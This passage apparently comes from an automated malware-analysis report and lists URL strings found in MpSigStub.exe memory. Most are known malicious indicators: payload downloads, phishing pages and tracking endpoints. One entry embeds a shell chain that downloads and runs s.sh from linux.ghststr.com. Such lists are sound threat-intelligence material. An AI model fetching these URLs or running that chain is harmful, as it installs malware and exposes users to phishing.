        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: http://imp.theweathercenter.co/
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://impemarinestore.com/stub.exe
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: http://impex.maaraj.com/images/total_visitas.php
        Source: MpSigStub.exe, 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmpString found in binary or memory: http://indonesiacyberteam.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: http://inent17alexe.rr
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://infolokercpns.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://ingridzinnel.com/invoices-attached/
        Source: MpSigStub.exe, 00000023.00000003.18317322207.0000015B1B5DB000.00000004.00000001.sdmpString found in binary or memory: http://init.crash-analysis.com
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://init.icloud-analysis.com
        Source: MpSigStub.exe, 00000023.00000003.18317322207.0000015B1B5DB000.00000004.00000001.sdmpString found in binary or memory: http://init.icloud-diagnostics.com
        Source: MpSigStub.exe, 00000023.00000003.18315106599.0000015B1B858000.00000004.00000001.sdmpString found in binary or memory: http://injectsorals.com/
        Source: MpSigStub.exe, 00000023.00000003.18335432095.0000015B1A956000.00000004.00000001.sdmpString found in binary or memory: http://inline477.info/fsrv
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://inquiry.space/lucky.doc
        Source: MpSigStub.exe, 00000023.00000003.18303445859.0000015B1B86F000.00000004.00000001.sdmpString found in binary or memory: http://ins.pricejs.net/dealdo/install-report
        Source: MpSigStub.exe, 00000023.00000003.18303445859.0000015B1B86F000.00000004.00000001.sdmpString found in binary or memory: http://ins.pricejs.net/dealdo/install-report?type=install
        Source: MpSigStub.exe, 00000023.00000003.18287888120.0000015B1BC0A000.00000004.00000001.sdmpString found in binary or memory: http://ins.quickinstallpack.com/?action=
        Source: MpSigStub.exe, 00000023.00000003.18292431996.0000015B1BA3D000.00000004.00000001.sdmpString found in binary or memory: http://ins.rdxrp.com/stats/
        Source: MpSigStub.exe, 00000023.00000003.18287888120.0000015B1BC0A000.00000004.00000001.sdmpString found in binary or memory: http://insf.quickinstallpack.com/?action=
        Source: MpSigStub.exe, 00000023.00000003.18310002934.0000015B1B40D000.00000004.00000001.sdmpString found in binary or memory: http://insightout-me.com/backup/excellview.php
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: http://install.xxxtoolbar.com/ist/scripts/prompt.php?
        Source: MpSigStub.exe, 00000023.00000003.18346670516.0000015B1AC31000.00000004.00000001.sdmpString found in binary or memory: http://installdream.com/download/blankNet2.dat
        Source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmpString found in binary or memory: http://installer.mediapassplugin.com/
        Source: MpSigStub.exe, 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmpString found in binary or memory: http://installmp3codec.info/
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: http://installs.hotbar.com/installs/hotbar/programs/
        Source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmpString found in binary or memory: http://instamailserver.link/finito.ps1
        Source: MpSigStub.exe, 00000023.00000003.18310002934.0000015B1B40D000.00000004.00000001.sdmpString found in binary or memory: http://instituitartetculture.com/
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://int.dpool.sina.com.cn/iplookup/iplookup.php
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://integrityshavenequinerescuecentre.ca/css/oswald-webfont/test.exe
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://interface.kokmobi.com/newservice
        Source: MpSigStub.exe, 00000023.00000003.18329672768.0000015B1ADDA000.00000004.00000001.sdmpString found in binary or memory: http://interstat.eux
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: http://investmenteducationkungykmtsdy8agender.duckdns.org/office/
        Source: MpSigStub.exe, 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmpString found in binary or memory: http://iopsctlvzs.com/riu-hmgzhkjut/ymxggj-wnk_wpiohjhik/koptwt/xtz--r-gou--h_wktgzno-.php?
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://ios-certificate-update.com
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://ios-update-whatsapp.com
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://ip-api.com/
        Source: MpSigStub.exe, 00000023.00000003.18296662261.0000015B1C292000.00000004.00000001.sdmpString found in binary or memory: http://ip-api.com/json/
        Source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmpString found in binary or memory: http://ip-api.com/line/?fields=queryz
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpString found in binary or memory: http://ip.158166.com/zcb2009/ie7-0day.htmwidth=0height=0
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: http://ip.aq138.com/setip.asp
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://ippp.co.zw/ds/161120.gif
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://iranvision1404.com/ss/info/redebit_transactions/terms/kohc-xuxo_lcxty-av6e
        Source: MpSigStub.exe, 00000023.00000003.18307169245.0000015B1A4C3000.00000004.00000001.sdmpString found in binary or memory: http://isearch.omiga-plus.com/?type=sc
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://ismailiyamedical.com/ds/151120.gif
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpString found in binary or memory: http://istanbulyilbasimekanlari.com/tracking-number-
        Source: MpSigStub.exe, 00000023.00000003.18284212320.0000015B1B935000.00000004.00000001.sdmpString found in binary or memory: http://istart.webssearches.com/?type=sc
        Source: MpSigStub.exe, 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmpString found in binary or memory: http://isvbr.net
        Source: MpSigStub.exe, 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmpString found in binary or memory: http://isvbr.net?t=
        Source: MpSigStub.exe, 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmpString found in binary or memory: http://itemprice.kr
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://itsmetees.com/wp-admin/network/doc/
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://iy6h86i.sed.tiresnwheels4fun.com
        Source: MpSigStub.exe, 00000023.00000003.18345359888.0000015B1A789000.00000004.00000001.sdmpString found in binary or memory: http://iz.orda.icu/webiz.php
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpString found in binary or memory: http://izfm.org/data/image/html/
        Source: MpSigStub.exe, 00000023.00000003.18303445859.0000015B1B86F000.00000004.00000001.sdmpString found in binary or memory: http://j.pricejs.net/
        Source: MpSigStub.exe, 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmpString found in binary or memory: http://jL.ch&#117;ra.pl&#47;rc/
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://jaculus.ru/902b3449e3e8/interbase/counteract/neat/luxurious/relate/jjibwjhi.dot
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://jaklaw.co/wp-includes/js/plupload/db/view/
        Source: MpSigStub.exe, 00000023.00000003.18337818328.0000015B1BB10000.00000004.00000001.sdmpString found in binary or memory: http://james.newtonking.com/projects/json
        Source: MpSigStub.exe, 00000023.00000003.18326614272.0000015B1A717000.00000004.00000001.sdmpString found in binary or memory: http://japanesecosplaygirl.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18427196191.0000015B1AB46000.00000004.00000001.sdmpString found in binary or memory: http://jaqvicmy.ru/count7.php
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://jast56kl.com/help/index.php
        Source: MpSigStub.exe, 00000023.00000003.18299377795.0000015B1AEE3000.00000004.00000001.sdmpString found in binary or memory: http://java-se.com/o.js
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18431461093.0000015B1B02B000.00000004.00000001.sdmpString found in binary or memory: http://java.sun.com/products/autodl/j2se
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://javafx.com
        Source: MpSigStub.exe, 00000023.00000003.18326506118.0000015B1A705000.00000004.00000001.sdmpString found in binary or memory: http://javascriptobfuscator.com
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://jjjjjkl.pe.hu/doc
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://jmmgroup.ae/213.doc
        Source: MpSigStub.exe, 00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmpString found in binary or memory: http://jmmgroup.ae/coo.exe
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://jobylive2.w22.haohaohost.cn/c/abbx/qqpost.asp
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpString found in binary or memory: http://joelosteel.gdn/eml/put.php
        Source: MpSigStub.exe, 00000023.00000003.18281872533.0000015B1C527000.00000004.00000001.sdmpString found in binary or memory: http://joelosteel.gdn/pi.php
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://johnnyslandscaping.org/over.php
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://josephioseph.com/htamandela.hta
        Source: MpSigStub.exe, 00000023.00000003.18428865493.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: http://joxi.ru/
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpString found in binary or memory: http://jquerystatistics.org/update.js
        Source: MpSigStub.exe, 00000023.00000003.18340752801.0000015B1B72C000.00000004.00000001.sdmpString found in binary or memory: http://jqueryui.com
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://js.f4321y.com/
        Source: MpSigStub.exe, 00000023.00000003.18320270470.0000015B1B515000.00000004.00000001.sdmpString found in binary or memory: http://js.k0102.com/ad
        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpString found in binary or memory: http://js.mykings.pw:280/v.sctscrobj.dll
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://js.mys2018.xyz:280/v.sct
        Source: MpSigStub.exe, 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmpString found in binary or memory: http://js.pkglayer.com
        Source: MpSigStub.exe, 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmpString found in binary or memory: http://js.pkglayer.comx
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://jugnitv.com/final.jpg
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://juiillosks.sytes.net/
        Source: MpSigStub.exe, 00000023.00000003.18432805737.0000015B1BA3B000.00000004.00000001.sdmpString found in binary or memory: http://jump.qq.com/clienturl_
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://jump.qq.com/clienturl_100?clientuin=
        Source: MpSigStub.exe, 00000023.00000003.18425885690.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://jump.qq.com/clienturl_15
        Source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmpString found in binary or memory: http://juntec.es/rechnung-18561/
        Source: MpSigStub.exe, 00000023.00000003.18349004213.0000015B1A9DB000.00000004.00000001.sdmpString found in binary or memory: http://justgaytgp.net/rd/out.php
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: http://jxmienphi.net/update/
        Source: MpSigStub.exe, 00000023.00000003.18318994950.0000015B1A589000.00000004.00000001.sdmpString found in binary or memory: http://jxvh.com/goto.php
        Source: MpSigStub.exe, 00000023.00000003.18320598062.0000015B1B598000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://jyhjyy.top
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://kanzlercompanies.com?
        Source: MpSigStub.exe, 00000023.00000003.18346670516.0000015B1AC31000.00000004.00000001.sdmpString found in binary or memory: http://kapper.st/info.txt
        Source: MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmpString found in binary or memory: http://karab.hopto.org/sarg.dot
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://karadyma.com/dhlpack/kfqakff/)
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://karafetdoll.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://kasimovschmuck.hopto.org/
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://kastarmgt.com?
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://kastarqsr.com?
        Source: MpSigStub.exe, 00000023.00000003.18287888120.0000015B1BC0A000.00000004.00000001.sdmpString found in binary or memory: http://kavok.ind.br/ds/2312.gif
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: http://kec-rupit.muratarakab.go.id/si/excelz/index.php?email=
        Source: MpSigStub.exe, 00000023.00000003.18294597236.0000015B1A5CB000.00000004.00000001.sdmpString found in binary or memory: http://keeppure.cn/tool/xxz.exe
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: http://kemra.co.ke/bbaoh/
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: http://keramikadecor.com.ua/bdfg/excelzz/index.php
        Source: MpSigStub.exe, 00000023.00000003.18343611807.0000015B1BD13000.00000004.00000001.sdmpString found in binary or memory: http://keratomir.biz/get.php?partner=
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://keyba01se.usa.cc/ktg.doc
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpString found in binary or memory: http://king.connectioncdn.
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: http://king.lionsheart.square7.ch/99.exe
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: http://king.lionsheart.square7.ch/wrk.exe
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://kiranacorp.com/oja
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: http://kishi73.com.br/
        Source: MpSigStub.exe, 00000023.00000003.18285687047.0000015B1B29A000.00000004.00000001.sdmpString found in binary or memory: http://kit.mastacash.com/
        Source: MpSigStub.exe, 00000023.00000003.18335733371.0000015B1B82C000.00000004.00000001.sdmpString found in binary or memory: http://kle.austries
        Source: MpSigStub.exe, 00000023.00000003.18315624417.0000015B1B02C000.00000004.00000001.sdmpString found in binary or memory: http://kokovs.cc/porno/stat.php
        Source: MpSigStub.exe, 00000023.00000003.18307753022.0000015B1B767000.00000004.00000001.sdmpString found in binary or memory: http://kollaboration.intranet.stzh.ch/orga/asz-aszdokumentenbibliothek/Vorlagen/Makros/MakroMasterSt
        Source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmpString found in binary or memory: http://kollinsoy.skyefenton.com:8080/xml.js
        Source: MpSigStub.exe, 00000023.00000003.18349004213.0000015B1A9DB000.00000004.00000001.sdmpString found in binary or memory: http://kolo.crionn.com/kolo.php
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://kolyherqylwa9ru.top/log.php?f=400
        Source: MpSigStub.exe, 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18292431996.0000015B1BA3D000.00000004.00000001.sdmpString found in binary or memory: http://korserver.com
        Source: MpSigStub.exe, 00000023.00000003.18317322207.0000015B1B5DB000.00000004.00000001.sdmpString found in binary or memory: http://kp.9
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpString found in binary or memory: http://kredytinksao.pl/raw.txt
        Source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmpString found in binary or memory: http://kremlin-malwrhunterteam.info/scan.exe
        Source: MpSigStub.exe, 00000023.00000003.18299634028.0000015B1AF1A000.00000004.00000001.sdmpString found in binary or memory: http://krisrnilton.pl/mswiner.exe/payload-obfuscated-final.docx
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://ks.pcgames.com.cn/games_index.jsp?q=%s
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://ks.pconline.com.cn/index.jsp?qx=download&q=%s
        Source: MpSigStub.exe, 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmpString found in binary or memory: http://ksn.a
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpString found in binary or memory: http://ktr.freedynamicdns.org/backups/post.php
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: http://kubusse.ru/data
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://kungsb2africanbestfootballereverinkerso.duckdns.org/kung2doc/
        Source: MpSigStub.exe, 00000023.00000003.18293662919.0000015B1BCD0000.00000004.00000001.sdmpString found in binary or memory: http://kurs.ru/index
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://l1ke.fellatiomovefilehost.net/movie.php?id=movies_n01.wmv&sid=
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://lab.l4ever.cn/ip/api/
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://lapapahoster.com/safe_download/
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://lapteccoder.com/pluactive.php
        Source: MpSigStub.exe, 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmpString found in binary or memory: http://laurenbowling.com/redeem-ucount-rewards-standardbank-credit=card-service/php/
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpString found in binary or memory: http://lavajatowi.sslblindado.com/
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://lazexpo.info/
        Source: MpSigStub.exe, 00000023.00000003.18349004213.0000015B1A9DB000.00000004.00000001.sdmpString found in binary or memory: http://ldjb.sriki.space/is/cact?i
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://ldvamlwhdpetnyn.ml/liverpool-fc-news/features/
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: http://lem18iuru03vwvqwt.xyz/ff.gif
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://lexandermagic.com/163-97-242097-905-163-97-242097-799/
        Source: MpSigStub.exe, 00000023.00000003.18292431996.0000015B1BA3D000.00000004.00000001.sdmpString found in binary or memory: http://lh.cjishu.com/index.php
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://lhx8z06.sed.nutritionservices.com
        Source: MpSigStub.exe, 00000023.00000003.18311861284.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://lialer.com/wFBIQQUccZOdYQKJvhxm/ejrwqokckt.exe
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://libre-templates.ddns.net/
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://librebooton.ddns.net/booton.dot
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: http://libya2020.com.ly/music.mp3
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://lifeandoil.myjino.ru/crg-bin/c/admin/adobe_pdf/adobe.html
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://lifehealthcareindia.com/google/google.php
        Source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmpString found in binary or memory: http://likesomessfortelr.eu/mSsNX3JDSJD/inNSj398LSj/
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://line.largefamiliesonpurpose.com/
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://lineacount.info/cgi-bin/
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: http://linkurytest-bumbleb-stats-westeurope.cloudapp.netxi
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://linux.ghststr.com/lllol/0-o/tmp/s.sh&&cd/tmp/&&chmod777s.sh&&bashs.sh-o-2
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://lipostes.tk/98765.pdf
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://lithi.io/file/
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://livefrom.ge/modules/mod_swfobject/enfo.php
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://liveswindows.cyou/opzi0n1.dll
        Source: MpSigStub.exe, 00000023.00000003.18334190857.0000015B1A60C000.00000004.00000001.sdmpString found in binary or memory: http://liveupdatesnet.com/
        Source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmpString found in binary or memory: http://lk2gaflsgh.jgy658snfyfnvh.com/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://ll.protected.secured.adobe
        Source: MpSigStub.exe, 00000023.00000003.18339677269.0000015B1AB04000.00000004.00000001.sdmpString found in binary or memory: http://lnk.direct/xzx
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://lo0oading.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://local45.net
        Source: MpSigStub.exe, 00000023.00000003.18320914162.0000015B1B65F000.00000004.00000001.sdmpString found in binary or memory: http://localhost/st.php
        Source: MpSigStub.exe, 00000023.00000003.18329340155.0000015B1AC0C000.00000004.00000001.sdmpString found in binary or memory: http://localhost:4173/BaiduClickerClient.asmx?WSDLx
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://localhost:62338/Chipsetsync.asmx
        Source: MpSigStub.exe, 00000023.00000003.18430467796.0000015B1AE1C000.00000004.00000001.sdmpString found in binary or memory: http://localhost:8000/cmd.exe
        Source: MpSigStub.exe, 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmpString found in binary or memory: http://localstormwatch.com
        Source: MpSigStub.exe, 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmpString found in binary or memory: http://localstormwatch.comx
        Source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmpString found in binary or memory: http://log.dataurls.com/log/settings.json
        Source: MpSigStub.exe, 00000023.00000003.18314163408.0000015B1BB45000.00000004.00000001.sdmpString found in binary or memory: http://log.dataurls.com/log/settings.jsonxN
        Source: MpSigStub.exe, 00000023.00000003.18306868118.0000015B1AA1D000.00000004.00000001.sdmpString found in binary or memory: http://log.newhybridhome.com/personal.dll
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://log.soomeng.com/wb/jdq/?mac=%s
        Source: MpSigStub.exe, 00000023.00000003.18333194957.0000015B1AC4F000.00000004.00000001.sdmpString found in binary or memory: http://logger.mobi
        Source: MpSigStub.exe, 00000023.00000003.18321417418.0000015B1B6C0000.00000004.00000001.sdmpString found in binary or memory: http://logs-01.loggly.com/inputs
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://loisnfernandez.us/Gold/aafile.exe
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://lolitaadultfilehost.com/pc/page/set_reg.php?af_num=&cuid=
        Source: MpSigStub.exe, 00000023.00000003.18313952102.0000015B1B3A0000.00000004.00000001.sdmpString found in binary or memory: http://lookfor.cc/sp.php?pin=%05d
        Source: MpSigStub.exe, 00000023.00000003.18313952102.0000015B1B3A0000.00000004.00000001.sdmpString found in binary or memory: http://lookfor.cc?pin=%05d
        Source: MpSigStub.exe, 00000023.00000003.18313952102.0000015B1B3A0000.00000004.00000001.sdmpString found in binary or memory: http://looking-for.cc
        Source: MpSigStub.exe, 00000023.00000003.18313952102.0000015B1B3A0000.00000004.00000001.sdmpString found in binary or memory: http://looking-for.ccx
        Source: MpSigStub.exe, 00000023.00000003.18326614272.0000015B1A717000.00000004.00000001.sdmpString found in binary or memory: http://loscuerposgloriosos.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18316647369.0000015B1B557000.00000004.00000001.sdmpString found in binary or memory: http://lost.to/in.cgi
        Source: MpSigStub.exe, 00000023.00000003.18349004213.0000015B1A9DB000.00000004.00000001.sdmpString found in binary or memory: http://lostart.info/js/gs.js
        Source: MpSigStub.exe, 00000023.00000003.18302834450.0000015B1BFE8000.00000004.00000001.sdmpString found in binary or memory: http://lowdeck.net/kt2si/2efinys.exe
        Source: MpSigStub.exe, 00000023.00000003.18302834450.0000015B1BFE8000.00000004.00000001.sdmpString found in binary or memory: http://lowdeck.net/kt2si/c2syst.exe
